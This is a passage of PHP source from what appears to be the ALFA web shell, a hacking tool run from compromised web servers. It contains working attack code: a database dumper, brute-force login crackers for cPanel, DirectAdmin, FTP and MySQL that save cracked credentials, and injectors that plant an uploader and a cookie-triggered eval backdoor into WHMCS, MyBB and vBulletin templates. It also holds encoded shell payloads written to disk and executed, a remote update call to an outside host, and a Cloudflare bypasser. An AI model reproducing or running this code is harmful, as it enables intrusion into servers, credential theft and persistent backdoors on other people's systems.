echo '<li tbl="'.$tbl.'"><span style="color:#00FF00;" tbl="'.$tbl.'" class="box sub-box">' . $col . '</span></li>';
}
echo '</ul></li>';
}
echo '</ul>';
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
alfafooter();
}
function alfaDumper(){
alfahead();
echo('<div class="header">');
AlfaNum(8,9,10);
echo "<center><br><div class='txtfont_header'>| Mysql Database Dumper |</div><br><br>".getConfigHtml('all')."<form method='post' onsubmit=\"g('dumper',null,null,null,this.db_username.value,this.db_password.value,this.db_name.value,this.dfile.value,this.db_host.value); return false;\"><p>";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'db_host : ', 'inputName' => 'db_host', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'db_username : ', 'inputName' => 'db_username', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'db_password : ', 'inputName' => 'db_password', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'db_name : ', 'inputName' => 'db_name', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Dump Path: ', 'inputName' => 'dfile', 'inputValue' => htmlspecialchars($GLOBALS['cwd']).'alfa.sql', 'inputSize' => '50')
);
create_table($table);
echo "<br><input type='submit' value=' ' name='Submit'></p></form></center>";
$username = ($_POST['alfa3']);
$password = ($_POST['alfa4']);
$dbname = ($_POST['alfa5']);
$dfile = ($_POST['alfa6']);
$host = ($_POST['alfa7']);
if(!empty($dbname)){
echo __pre();
$msg = "<center>Check this : <font color='red'>".$dfile."</font></center>";
if(@mysqli_connect($host,$username,$password,$dbname)){
if(strlen(alfaEx("mysqldump"))>0){
alfaEx("mysqldump --single-transaction --host=\"$host\" --user=\"$username\" --password=\"$password\" $dbname > '".addslashes($dfile)."'");
echo($msg);
}else{
__alert("Error...!");
}
}else{
echo('<center>mysqli_connect : Error!</center>');
}
}
echo('</div>');
alfafooter();
}
function Alfa_DirectAdmin_Cracker($info){
if(!$info['mysql'])
$url = $info['protocol'].$info['target'].':'.$info['port'].'/CMD_LOGIN';
else $url = $info['protocol'].$info['target'].'/phpmyadmin';
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_URL,$url);
curl_setopt($curl, CURLOPT_USERPWD, $info['username'].':'.$info['password']);
if($info['mysql'])curl_setopt($curl, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/CMD_FILE_MANAGER|frameset/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_CP_Cracker($info){
$url = $info['protocol'].$info['target'].':'.$info['port'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_FOLLOWLOCATION,1);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_SSL_VERIFYPEER,0);
curl_setopt($curl, CURLOPT_SSL_VERIFYHOST,0);
curl_setopt($curl, CURLOPT_HEADER,0);
curl_setopt($curl, CURLOPT_RETURNTRANSFER,1);
curl_setopt($curl, CURLOPT_HTTPHEADER, array("Authorization: Basic " . __ZW5jb2Rlcg($info['username'].":".$info['password']) . "\n\r"));
curl_setopt($curl, CURLOPT_URL, $url);
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/filemanager/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_FTP_Cracker($info){
$url = $info['protocol'].$info['target'];
$curl = curl_init();
curl_setopt($curl, CURLOPT_URL, $url);
curl_setopt($curl, CURLOPT_USERAGENT,'Mozilla/5.0 (Windows NT 6.2; WOW64; rv:17.0) Gecko/20100101 Firefox/17.0');
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_USERPWD, "".$info['username'].":".$info['password']."");
$result = @curl_exec($curl);
$curl_errno = curl_errno($curl);
$curl_error = curl_error($curl);
if ($curl_errno > 0) {echo "<font color='red'>Error: $curl_error</font><br>";}
elseif(preg_match('/(\d+):(\d+)/i',$result)){
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
$info['target'] = $url;
CrackerResualt($info);
}
curl_close($curl);
}
function Alfa_Mysql_Cracker($info){
if(@mysqli_connect($info['target'].':'.$info['port'],$info['username'],$info['password'])){
CrackerResualt($info);
echo 'UserName: <font color="red">'.$info['username'].'</font> PassWord: <font color="red">'.$info['password'].'</font><font color="green"> Login Success....</font><br>';
}
}
function Alfa_FTPC($info){
if($con=@ftp_connect($info['target'],$info['port'])){
if($con){
$login=@ftp_login($con,$info['username'],$info['password']);
if($login){CrackerResualt($info);}}}
@ftp_close($con);
}
function CrackerResualt($info){
$res = $info['target'].' => '.$info['username'].":".$info['password']."\n" ;
$c = @fopen($info['fcrack'],'a+');
@fwrite($c, $res);
@fclose($c);
}
function Alfa_Call_Function_Cracker($method,$info){
switch($method){case 'cp':return Alfa_CP_Cracker($info);break;case 'direct': case 'phpmyadmin':return Alfa_DirectAdmin_Cracker($info);break;case 'ftp':return Alfa_FTP_Cracker($info);break;case 'mysql':return Alfa_Mysql_Cracker($info);break;case 'mysql':return Alfa_FTPC($info);break;}
}
function alfaCrackers(){
alfahead();
AlfaNum(9,10);
echo '<div class="header"><center><br><div class="txtfont_header">| Brute Forcer |</div><br><br><form method="post" onsubmit="g(\'Crackers\',null,this.target.value,this.port.value,this.usernames.value,this.passwords.value,this.fcrack.value,\'start\',this.protocol.value,this.loginpanel.value);return false;"><div class="txtfont">Login Page: <select onclick="dis_input(this.value);" name="loginpanel">';
foreach(array('cp'=>'Cpanel','direct'=>'DirectAdmin','ftp'=>'FTP','phpmyadmin'=>'PhpMyAdmin[DirectAdmin]','mysql'=>'mysql_connect()','ftpc'=>'ftp_connect()') as $key=>$val)echo('<option value="'.$key.'">'.$val.'</option>');
echo '</select> Protocol: <select id="protocol" name="protocol">';
foreach(array('https://','http://','ftp://') as $val)echo('<option value="'.$val.'">'.$val.'</option>');
echo '</select> Website/ip Address: <input id="target" type="text" name="target" value="localhost">
Port: <input id="port" type="text" name="port" value="2083">
<table width="30%"><td align="center">Users List</td><td align="center">Passwords</td></table>
<textarea placeholder="Users" rows="20" cols="25" name="usernames">'.($GLOBALS['sys']=='unix'?alfaEx("cut -d: -f1 /etc/passwd"):"").'</textarea>
  <textarea placeholder="Passwords" rows="20" cols="25" name="passwords"></textarea><br><br>
Save Result Into File <input type="text" name="fcrack" value="cracked.txt">
<p><input type="submit" name="cracking" value=" " /></div></form></p><center>';
$target = str_replace(array('https://','http://','ftp://'),'',$_POST['alfa1']);
$port = $_POST['alfa2'];
$usernames= $_POST['alfa3'];
$passwords = $_POST['alfa4'];
$fcrack = $_POST['alfa5'];
$cracking = $_POST['alfa6'];
$protocol = $_POST['alfa7'];
$loginpanel = $_POST['alfa8'];
$p = $loginpanel == 'phpmyadmin' ? $p = true : false;
if($cracking=='start'){
echo __pre();
$exuser = explode("\n",$usernames);
$expw = explode("\n",$passwords);
foreach($exuser as $user){
foreach($expw as $pw){
$array = array('username' => trim($user),'password' => trim($pw),'port' => trim($port),'target' => trim($target),'protocol' => trim($protocol),'fcrack' => trim($fcrack),'mysql' => $p);
Alfa_Call_Function_Cracker($loginpanel,$array);
}
}
echo '<br><font color="red">Attack Finished...</font>';
}
echo '</div>';
alfafooter();
}
function output($string){ echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><font color=red><a target='_blank' href='".$string."'>Click Here !</a></font></b></center><br><br>";}
function alfaShellInjectors(){
alfahead();
echo '<div class=header>';
AlfaNum(11);
echo '<center><p><div class="txtfont_header">| Cms Shell Injector |</div></p><center><h3><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,\'whmcs\',null)">| WHMCS | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,\'mybb\')">| MyBB | </a><a href=javascript:void(0) onclick="g(\'ShellInjectors\',null,null,null,\'vb\')">| vBulletin |</a></h3></center>';
$selector = '<p><div class="txtfont">Shell Inject Method : </div> <select name="method" style="width:100px;"><option value="auto">AutoMatic</option><option value="man">Manuel</option></select></p>';
if(isset($_POST['alfa1']) && $_POST['alfa1']== 'whmcs'){
AlfaNum();
echo __pre()."<p><div class='txtfont_header'>| WHMCS |</div></p><center><center><p>".getConfigHtml('whmcs')."</p><form onSubmit=\"g('ShellInjectors',null,'whmcs',null,null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.path.value); return false;\" method='post'>";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Path WHMCS Url : ', 'inputName' => 'path', 'inputValue' => 'http://site.com/whmcs', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'Mysql Host : ', 'inputName' => 'dbh', 'id' => 'db_host', 'inputValue' => 'localhost', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Name : ', 'inputName' => 'dbn', 'id' => 'db_name', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Db User : ', 'inputName' => 'dbu', 'id' => 'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Db Pass : ', 'inputName' => 'dbp', 'id' => 'db_pw', 'inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type='submit' value=' '></p></form></center></td></tr></table></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$path = $_POST['alfa10'];
$method = $_POST['alfa4'];
$index = "{php}".ALFA_UPLOADER.";{/php}";
$newin = str_replace("'","\'",$index);
$newindex = "<p>Dear $newin,</p><p>Recently a request was submitted to reset your password for our client area. If you did not request this, please ignore this email. It will expire and become useless in 2 hours time.</p><p>To reset your password, please visit the url below:<br /><a href=\"{\$pw_reset_url}\">{\$pw_reset_url}</a></p><p>When you visit the link above, your password will be reset, and the new password will be emailed to you.</p><p>{\$signature}</p>{php}if(\$_COOKIE[\"sec\"] == \"123\"){eval(base64_decode(\$_COOKIE[\"sec2\"])); die(\"!\");}{\/php}";
if(!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($index)){
if(filter_var($path,FILTER_VALIDATE_URL)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_connect_error());
$soleSave= mysqli_query($conn,"select message from tblemailtemplates where name='Password Reset Validation'");
$soleGet = mysqli_fetch_assoc($soleSave);
$tempSave1 = $soleGet['message'];
$tempSave = str_replace("'","\'",$tempSave1);
mysqli_query($conn,"UPDATE tblconfiguration SET value = '1' WHERE setting = 'AllowSmartyPhpTags'") or die (mysqli_error($conn));
$inject = "UPDATE tblemailtemplates SET message='$newindex' WHERE name='Password Reset Validation'";
$result = mysqli_query($conn,$inject) or die (mysqli_error($conn));
$create = "insert into tblclients (email) values('solevisible@fbi.gov')";
$result2 = mysqli_query($conn,$create) or die (mysqli_error($conn));
if(function_exists('curl_version') && $method == 'auto'){
$AlfaSole = new AlfaCURL(true);
$saveurl = $AlfaSole->Send($path."/pwreset.php");
$getToken = preg_match("/name=\"token\" value=\"(.*?)\"/i",$saveurl,$token);
$AlfaSole->Send($path."/pwreset.php","post","token={$token[1]}&action=reset&email=solevisible@fbi.gov");
$backdata = "UPDATE tblemailtemplates SET message='{$tempSave}' WHERE name='Password Reset Validation'";
$Solevisible = mysqli_query($conn,$backdata) or die (mysqli_error($conn));
__alert("shell injectet...");
$ff= 'http://'.$path."/solevisible.php";
output($ff);}else{
echo "<br><pre id=\"strOutput\" style=\"margin-top:5px\" class=\"ml1\"><br><center><b><font color=\"#FFFFFF\">Please go to Target => </font><a href='".$path."/pwreset.php' target='_blank'>".$path."/pwreset.php</a><br/><font color='#FFFFFF'> And Reset Password With Email</font> => <font color=red>solevisible@fbi.gov</font><br/><font color='#FFFFFF'>And Go To => </font><a href='".$path."/solevisible.php' target='_blank'>".$path."/solevisible.php</a></b></center><br><br>";}}else{__alert('Path is not Valid...');}}}
}if(isset($_POST['alfa2']) && $_POST['alfa2']== 'mybb'){
AlfaNum(1,2,3,5);
echo __pre()."<p><div class='txtfont_header'>| MyBB |</div></p><center><center>".getConfigHtml("mybb")."<form id='sendajax' onSubmit=\"g('ShellInjectors',null,null,'mybb',null,this.method.value,null,this.dbu.value,this.dbn.value,this.dbp.value,this.dbh.value,this.prefix.value); return false;\" method=POST>
";
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'dbh', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'dbn', 'id'=>'db_name' ,'inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'dbu', 'id'=>'db_user', 'inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'dbp', 'id'=>'db_pw', 'inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'prefix', 'id'=>'db_prefix','inputValue' => 'mybb_', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo "<p><input type=submit value=' '></p></form></center></center>";
if(isset($_POST['alfa6'])) {
$dbu = $_POST['alfa6'];
$dbn = $_POST['alfa7'];
$dbp = $_POST['alfa8'];
$dbh = $_POST['alfa9'];
$prefix = $_POST['alfa10'];
$method = $_POST['alfa4'];
$shellCode = "{\${".ALFA_UPLOADER."}}";
$newinshell = str_replace("'","\'",$shellCode);
if (!empty($dbh) && !empty($dbu) && !empty($dbn) && !empty($newinshell)){
$conn = mysqli_connect($dbh,$dbu,$dbp,$dbn) or die(mysqli_error($conn));
$inject = "select template from {$prefix}templates where title= 'calendar'";
$result = mysqli_query($conn, $inject) or die (mysqli_error($conn));
$GetTemp = mysqli_fetch_assoc($result);
$saveDate = $GetTemp['template'];
$repsave = str_replace($shellCode,"",$saveDate);
$repsave = str_replace("'","\'",$repsave);
$createShell = "update {$prefix}templates SET template= '".$newinshell.$repsave."' where title = 'calendar'";
$result2 = mysqli_query($conn,$createShell) or die (mysqli_error($conn));
$geturl = "select value from {$prefix}settings where name= 'bburl'";
$findurl = mysqli_query($conn,$geturl) or die (mysqli_error($conn));
$rowb = mysqli_fetch_assoc($findurl);
$furl = $rowb['value'];
$realurl = parse_url($furl,PHP_URL_HOST);
$realpath = parse_url($furl,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if (extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto' ){
if ($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath/calendar.php HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$repairdbtemp = "update {$prefix}templates SET template= '$repsave' where title = 'calendar'";
$clear = mysqli_query($conn,$repairdbtemp) or die (mysqli_error($conn));$res = true;}
@fclose($fsock);}}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath."/calendar.php");
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath."/calendar.php";
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<br><pre id='strOutput' style='margin-top:5px' class='ml1'><br><center><b><font color='#FFFFFF'>Please Go To Target => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color='#FFFFFF'>And Go To => </font><a href='".$fff."' target='_blank'>".$fff."</a></b></center><br><br>";
}}}}
if(isset($_POST['alfa3']) && $_POST['alfa3']== 'vb'){
AlfaNum(1,2,7,9,10);
echo __pre().'<p><div class="txtfont_header">| vbulletin |</div></p><p>'.getConfigHtml('vb').'</p><form name="frm" method="POST" onsubmit="g(\'ShellInjectors\',null,null,this.lo.value,\'vb\',this.user.value,this.pass.value,this.tab.value,this.db.value,this.method.value); return false;">';
$table = array('td1' =>
array('color' => 'FFFFFF', 'tdName' => 'Host : ', 'inputName' => 'lo', 'id'=>'db_host','inputValue' => 'localhost', 'inputSize' => '50'),
'td2' =>
array('color' => 'FFFFFF', 'tdName' => 'DataBase Name : ', 'inputName' => 'db', 'id'=>'db_name','inputValue' => '', 'inputSize' => '50'),
'td3' =>
array('color' => 'FFFFFF', 'tdName' => 'User Name : ', 'inputName' => 'user', 'id'=>'db_user','inputValue' => '', 'inputSize' => '50'),
'td4' =>
array('color' => 'FFFFFF', 'tdName' => 'Password : ', 'inputName' => 'pass', 'id'=>'db_pw','inputValue' => '', 'inputSize' => '50'),
'td5' =>
array('color' => 'FFFFFF', 'tdName' => 'Table Prefix : ', 'inputName' => 'tab', 'id'=>'db_prefix','inputValue' => '', 'inputSize' => '50')
);
create_table($table);
echo $selector;
echo '<p><input type="submit" value=" " /></p></form></center>';
if(isset($_POST['alfa4'])&&!empty($_POST['alfa4'])){
$method = $_POST['alfa8'];
$faq_name = "faq";
$faq_file = "/faq.php";
$code = "{\${".ALFA_UPLOADER."}}{\${exit()}}&";
$conn=@mysqli_connect($_POST['alfa2'],$_POST['alfa4'],$_POST['alfa5'],$_POST['alfa7']) or die(@mysqli_connect_error());
$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
if(empty($savetoass)){
$faq_name = "header";
$faq_file = "/";
$rec = "select `template` from ".$_POST['alfa6']."template WHERE title ='".$faq_name."'";
$recivedata = @mysqli_query($conn,$rec);
$getd = @mysqli_fetch_assoc($recivedata);
$savetoass = $getd['template'];
$code = ALFA_UPLOADER.";";
}
$code = str_replace("'","\'",$code);
$p = "UPDATE ".$_POST['alfa6']."template SET `template`='".$code."' WHERE `title`='".$faq_name."'";
$ka= @mysqli_query($conn,$p) or die(mysqli_error($conn));
$geturl = @mysqli_query($conn,"select `value` from ".$_POST['alfa6']."setting WHERE `varname`='bburl'");
$getval = @mysqli_fetch_assoc($geturl);
$saveval = $getval['value'];
if($faq_name == "header"){
if(substr($saveval, -5, 5) == "/core"){
$saveval = substr($saveval, 0, -5);
}
}
$realurl = parse_url($saveval,PHP_URL_HOST);
$realpath = parse_url($saveval,PHP_URL_PATH);
$res = false;
$AlfaCurl = new AlfaCURL();
if(extension_loaded('sockets') && function_exists('fsockopen') && $method == 'auto'){
if($fsock = @fsockopen($realurl, 80, $errno, $errstr, 10)){
@fputs($fsock, "GET $realpath.$faq_file HTTP/1.1\r\n");
@fputs($fsock, "HOST: $realurl\r\n");
@fputs($fsock, "Connection: close\r\n\r\n");
$check = fgets($fsock);
if(preg_match("/200 OK/i",$check)){
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
@fclose($fsock);
}
}elseif(function_exists('curl_version') && $method == 'auto'){
$AlfaCurl->Send($realurl.$realpath.$faq_file);
$p1 = "UPDATE ".$_POST['alfa6']."template SET template ='".mysqli_real_escape_string($conn,$savetoass)."' WHERE title ='".$faq_name."'";
$ka1= @mysqli_query($conn,$p1) or die(mysqli_error($conn));
$res = true;
}
if($res){
$ff = 'http://'.$realurl.$realpath."/solevisible.php";
output($ff);
}else{
$ff = 'http://'.$realurl.$realpath.$faq_file;
$fff = 'http://'.$realurl.$realpath."/solevisible.php";
echo "<center><p><font color=\"#FFFFFF\">First Open This Link => </font><a href='".$ff."' target='_blank'>".$ff."</a><br/><font color=\"#FFFFFF\">Second Open This Link => </font><a href='".$fff."' target='_blank'>".$fff."</a></center></p>";}}}
echo '</div>';
alfafooter();
}
function alfacheckfiletype(){
$path = $_POST['path'];
$arg = $_POST['arg'];
if(@is_file($path.'/'.$arg)){
echo("file");
}else{
echo("dir");
}
}
function alfacheckupdate(){
if($GLOBALS["DB_NAME"]["cgi_api"]){
if(!isset($_COOKIE["alfacgiapi_mode"])&&!isset($_COOKIE["alfacgiapi"])){
_alfa_cgicmd("whoami","perl",true);
if(strlen(alfaEx("whoami",false,true))>0){
__alfa_set_cookie("alfa_canruncmd", "true");
}
}
}
if(function_exists("curl_version")){
$update = new AlfaCURL();
$json = $update->Send("http://solevisible.com/update.json?ver=".__ALFA_VERSION__);
$json = @json_decode($json,true);
$data = array();
if($json){
if(!isset($_COOKIE['alfa_checkupdate']) && !empty($json["type"])){
if($json["type"] == "update"){
if(__ALFA_VERSION__ != $json['version'] || __ALFA_UPDATE__ != $json['version_number']){
@setcookie("alfa_checkupdate", "1", time()+86400);
$data["content"] = '<div class="update-holder">'.$json["content"].'</div>';
}
}
}
if(isset($json["ads"]) && !empty($json["ads"])){
$data["content"] .= $json["ads"];
}
if(isset($json["copyright"]) && !empty($json["copyright"])){
$data["copyright"] = $json["copyright"];
}
if(isset($json["solevisible"]) && !empty($json["solevisible"])){
$data["solevisible"] = $json["solevisible"];
}
if(isset($json["code_name"]) && !empty($json["code_name"])){
$data["code_name"] = $json["code_name"];
$data["version_number"] = __ALFA_VERSION__;
}
if(isset($json["market"]) && !empty($json["market"])){
$data["market"] = $json["market"];
}
echo @json_encode($data);
}
}
}
function alfaWriteTocgiapi($name, $source){
$temp = "";
$not_api = array("basedir.alfa", "getdir.alfa", "getheader.alfa");
if(in_array($name, $not_api)){
$temp = ALFA_TEMPDIR;
if($temp){
@chdir($temp);
}
}else{
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
}
@mkdir('alfacgiapi',0755);
__write_file("alfacgiapi/".$name, __get_resource($source));
@chmod("alfacgiapi/".$name, 0755);
return $temp;
}
function alfacheckcgi(){if(strlen(alfaEx("id",false,true,true))>0)echo("ok");else echo("no");}
function alfaupdateheader(){
if(!isset($_COOKIE["updateheader_data"])){
$bash = "zZRdb9owFIavya849dIGJLK0vVyFNFTohERBgtFdQIRM4hAL40R2UkYp/312gPARqLqbaYnyIfs8x+85r+UvV04qhTOh3JGhMeg3nwbtWnnqecDUoz8+zPGMQBzGEBPBIF4mYcRBpJMlJFjA9I3GMNm+MAvwPXCFRR5OCMiU+pqqGI3ur067W280e/1aeTElCQQk8UJgS/4bGOUzCV6q0usZtojtORUiEhWDeGEENgFrhVJJgpShb8ORZxlBJIAC5WCuNqqH3931A/iRAepahNQLa2Y5+4JJK0ZpOIQrsN8AmdkgAteFmxvY5R8hk45Q1VK5q4YfcZKvjEbqdqsjD+3FID9acBZhn4iinoNS/62olOM5UXqQZZazf7AxvKu+JmB7d/bd/W3FyiDrEJJEUH9LyQTrWEDXKQzhegAuUtpu0RluKqI0PgNONfjjA9CP5phyqUE98dLq/RzU2+NG97ne6vRryFH7wnmlIkkxczbBqtlESGR06s/Nxvix23nahuki/a9exANkvNTbrXq/mWfAjGJJpKNneuMMVVOvWGwoNU4DUAbobponKrQRD5CEhBulbZT4OKq0K9As48UMrGansYoF5Ql0emsLTtEK7PqgLYQSYftljhpwYQ0mC3HvsPDAZseZjxKb+/79jfQ9VcgtyQGOHrFiegT7aguc2ANuRgTUyAWRgiC99XNDtm4Wx7deXrLogLvQt4OYsz07duP8isWUedB/7sOnXbgs9KT2w6CzxW/0fX6baH35ceGu1SnxBw==";
$realdir = addslashes(dirname($_SERVER["SCRIPT_FILENAME"]));
$tmp_path = alfaWriteTocgiapi("getheader.alfa",$bash);
$data = alfaEx("cd '{$tmp_path}/alfacgiapi';sh getheader.alfa",false,true,true);
if(@is_array(@json_decode($data,true))){
__alfa_set_cookie("updateheader_data", __ZW5jb2Rlcg($data));
echo $data;
}
}else{
echo __ZGVjb2Rlcg($_COOKIE["updateheader_data"]);
}
}
function alfassiShell(){
alfahead();
echo '<div class=header>';
alfaCreateParentFolder();
@chdir($GLOBALS['home_cwd'] . "/" . __ALFA_DATA_FOLDER__);
@mkdir('alfa_shtml',0755);
@chdir('alfa_shtml');
alfacgihtaccess('shtml');
$code = 'rVb9b9s2EP1Xrky22MhsKcu6ptbH0A+vzYbCXeztl6YoZImS2VCkQFJOvCX/+46SrChOnKRBA8ORyOPju3ePR/vPBoOdWIqUZUCVynUWkE9jpaT6TAaD0O9Ma/YvTXMTkPnKUN3OshToRaEC0jslu+9ns49f3kwmfx6PTwkEcEpOSR8uL8FOnoz/+ns8nX35MJ69n7zF+Wc24N14hjEE1niaGlhGiKcXnOATL2lAuIYBj66DKNf03hVdJterRIJs8Q2+C/OPk+kW6kzELXVnOLzjQ03sFJHW58lDSXWwNpOCzawWJuehv6BREvqGGU7DVzyNYEajHKbTY5guKOe+U0/5OlasMMAjkZVRhlS/RsuoHiRhWorYMCkgkcz0IJcJhT78x9IejsRlToUZxlKeMWrFIMROIl+oxzQquBE21AW3SMTDWC+VqmfzA4aRrof//PXSIaciMwsP9vcZ9Dc3C9Zhn3DNZ9hHPCwiU1QHs0X5E7gH8Eck4ODlCxdcd1R94N2HGfGubkO1Ixk1Y07t4+vVcbJOd1jJ7rVRXMaR1WSoKJdR0ut7V61MRmYZpz1giVViO7KdH2qz4nSYMJQkWiGP3jeFo9xCCor2/A3IHEmdERg1Y96V79QlDH2nNsJcJiuQwjIOyLaN9mKZ55FI9vrDFEM05kZgnsWSS/Tgjlv9EYg4E2fYAVAWNGXnBbdRoZ+wZejHiEnxZXEY+qkUBtYgz1/G8eEhCS/hDlfCpe/YaEsbFzprFAvbPod+2WDaZhSQ/QOCmcWcxcijqcAeFcs9y75SLSBxqbRUo0IyC+JVZEaKJh4Jx2LJlLQaABOpbAngJs68wwHTwkIEBJFb2KYaI6t6A7rz64tXr9/+7jViFIrWR7lQdmuxtEfbqUbttFOJVX/f0u5xmWK/e2Smb+rqAh470HUT2JJrTchmjLXOBKJWEwTOWWIWATlw3R/QGVIlFGuKlrDCVI23YTGP4rNMyVIkg0aW2jzezZ57/31QNcUbEt9sdY3E8w2H1QWwhUXK0Fi6TXUejn4Uc1143W8EUDnk1CwkJoKnwuqsy3nOjD0t2LGuj4atLBNFacCsCkzV0AsMrwt01EjRBJOwge/G17DtzXBSCgR0LIFbPt8o/WaCJ1SX3HQyu3lgLLFI0ahzgukv1E2OKiSNVfwZQZU8t4/PSXP9XNAY4jwJdrGc1T3krHHwaql8AX5r129zKl5ij3TqpKCqarIaUSBlnOoHz2V1RT7Srt/JpfXdX9m0Rny6Wf9h9LxKFHrYjkwZcexGMS8T2h91KvyQdQup7/Du0gLf69wjt9KwCnySa7flNUX0BxLYtrTSL7X0oJEk2EVNrJj1yuonaNf+T3Z9I/WtfTrmv9WuHXul2ovK/tz6Hw==';
@__write_file('alfa_ssi.shtml',__get_resource($code));
@chmod("alfa_ssi.shtml",0755);
echo AlfaiFrameCreator('alfa_shtml/alfa_ssi.shtml');
echo '</div>';
alfafooter();
}
function alfacloudflare(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><br><div class='txtfont_header'>| Cloud Flare ByPasser |</div><br><form action='' onsubmit=\"g('cloudflare',null,this.url.value,'>>'); return false;\" method='post'>
<p><div class='txtfont'>Target:</div> <input type='text' size=30 name='url' style='text-align:center;' placeholder=\"target.com\"> <input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['alfa2'] && $_POST['alfa2'] == '>>'){
$url = $_POST['alfa1'];
if(!preg_match('/^(https?):\/\/(w{3}|w3)\./i', $url)){
$url = preg_replace('/^(https?):\/\//', '', $url);
$url = "http://www.".$url;
}
$headers = @get_headers($url, 1);
$server = $headers['Server'];
